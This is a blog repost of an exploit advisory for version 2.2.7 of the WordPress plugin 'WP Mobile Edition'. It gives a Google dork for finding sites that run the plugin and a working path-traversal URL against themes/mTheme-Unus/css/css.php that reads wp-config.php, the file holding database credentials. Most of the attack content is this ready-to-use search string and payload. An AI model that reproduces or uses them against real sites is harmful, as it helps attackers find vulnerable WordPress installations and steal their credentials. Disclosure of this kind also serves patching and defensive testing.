Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863543631

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Wordpress Plugin 'WP Mobile Edition' Remote File Disclosure Vulnerability
# Date: April 11, 2015
# Exploit Author: @LookHin (Khwanchai Kaewyos)
# Google Dork: inurl:?fdx_switcher=mobile
# Vendor Homepage: https://wordpress.org/plugins/wp-mobile-edition/
# Software Link: https://downloads.wordpress.org/plugin/wp-mobile-edition.2.2.7.zip
# Version:  WP Mobile Edition Version 2.2.7

- Overview:
Wordpress Plugin 'WP Mobile Edition' is not filtering data in GET parameter 'files' in file 'themes/mTheme-Unus/css/css.php'

- Search on Google
inurl:?fdx_switcher=mobile

- POC
Exploit view source code wp-config.php
http://[server]/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php